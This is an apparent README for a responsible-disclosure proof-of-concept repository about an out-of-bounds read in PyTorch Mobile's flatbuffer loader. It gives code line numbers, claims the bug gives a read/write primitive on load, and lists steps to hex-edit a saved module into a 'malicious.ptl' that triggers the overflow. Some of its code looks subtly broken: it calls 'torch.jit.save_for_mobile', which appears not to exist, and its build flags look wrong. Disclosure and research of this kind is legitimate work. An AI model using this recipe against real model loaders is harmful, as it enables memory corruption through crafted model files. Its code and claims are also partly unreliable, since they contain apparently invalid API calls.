pytorch-mobile-ptl-desync-poc

SECURITY RESEARCH POC -- PyTorch Mobile .ptl storage_data desync OOB

This repository documents a partial-fix gap in PyTorch Mobile's flatbuffer loader, filed as a responsible-disclosure bug bounty at huntr.com under the Model File Formats program.

The bug: FlatbufferLoader::parseModule() sizes the storages_ cache from the scalar field module->storage_data_size() while getStorage(index) reads from the separate, independently-sized vector module->storage_data(). CVE-2024-31584's June 2024 patch added only a >= 0 check on the scalar; the cross-field consistency check was never added.

• File: torch/csrc/jit/mobile/flatbuffer_loader.cpp
• Line 300: CVE-2024-31584 >= 0 guard (existing)
• Line 306: storages_.resize(module->storage_data_size()) -- sizes from SCALAR
• Line 698: TORCH_CHECK(index < storages_.size()) -- checks against scalar
• Line 700: storage_data()->GetMutableObject(index) -- reads from VECTOR -- OOB

The resulting OOB-derived pointer is wrapped into a c10::Storage and exposed as a Tensor to the loaded module -- a Python-side R/W primitive on load.

Files

Verification (no PyTorch build required)

pip install urllib3
python verify_unpatched.py

Expected output (verbatim):

[BUG CONFIRMED] CVE-2024-31584 guard checks `storage_data_size() >= 0`
                but does NOT check `storage_data_size() <=
                storage_data()->size()`. The scalar and vector fields
                are independently attacker-controlled.

Runtime PoC (PyTorch build required)

The runtime PoC requires building PyTorch with ASan:

# 1. Build PyTorch from source with ASan
git clone https://github.com/pytorch/pytorch.git
cd pytorch && pip install -e . --use-feature=in-tree-build
# (build with -DUSE_ASAN=ON for memory-safety reports)

# 2. Export a benign mobile module:
python -c "
import torch
class M(torch.nn.Module):
    def forward(self, x): return x + 1
m = torch.jit.script(M())
torch._C._jit_set_bailout_depth(20)
torch.jit.save_for_mobile(m, 'benign.ptl')
"

# 3. Open benign.ptl in a hex editor. Locate the Module table via the
#    flatbuffer vtable, then:
#    - Increase storage_data_size (the SCALAR int32) to a large value (e.g. 100)
#    - Truncate the storage_data vector length (uint32 at vector start) to 0
#    - Modify any tensor's storage_location_index to a value in [0, 100)
# 4. Save as malicious.ptl, then load:
python -c "
import torch
m = torch.jit._load_for_mobile('malicious.ptl')
# Under ASan, this produces a heap-buffer-overflow report at
# flatbuffer_loader.cpp:700 calling GetMutableObject(50) on a
# 0-element vector.
"

Affected component

• PyTorch (pytorch/pytorch) -- current main HEAD. Pre-patch.
• File: torch/csrc/jit/mobile/flatbuffer_loader.cpp
• Versions affected: Every PyTorch version since CVE-2024-31584's incomplete fix landed (June 2024).

Distinctness vs prior CVEs

• CVE-2024-31584 (Apr 2024, Moderate, CWE-125): fixed in commit f343f98 (Jun 3 2024). That patch added ONLY the storage_data_size() >= 0 check. The cross-field constraint between the scalar and the vector was never added. This finding exploits that gap.
• CVE-2025-3121 (Apr 2025, Moderate, CWE-119): different root cause (segfault on legitimate save+load round-trip). No patch landed in flatbuffer_loader.cpp since June 2024.

Disclosure status

This PoC is part of a responsible-disclosure submission filed via huntr's Model File Formats bug bounty program. After triage and remediation, this repository will be marked private or deleted.

Disclaimer

This repository is intended for security research and responsible disclosure only. Do not use the techniques shown here on systems you do not own or have permission to test.

Contact

Security researcher: kais113 ([email protected])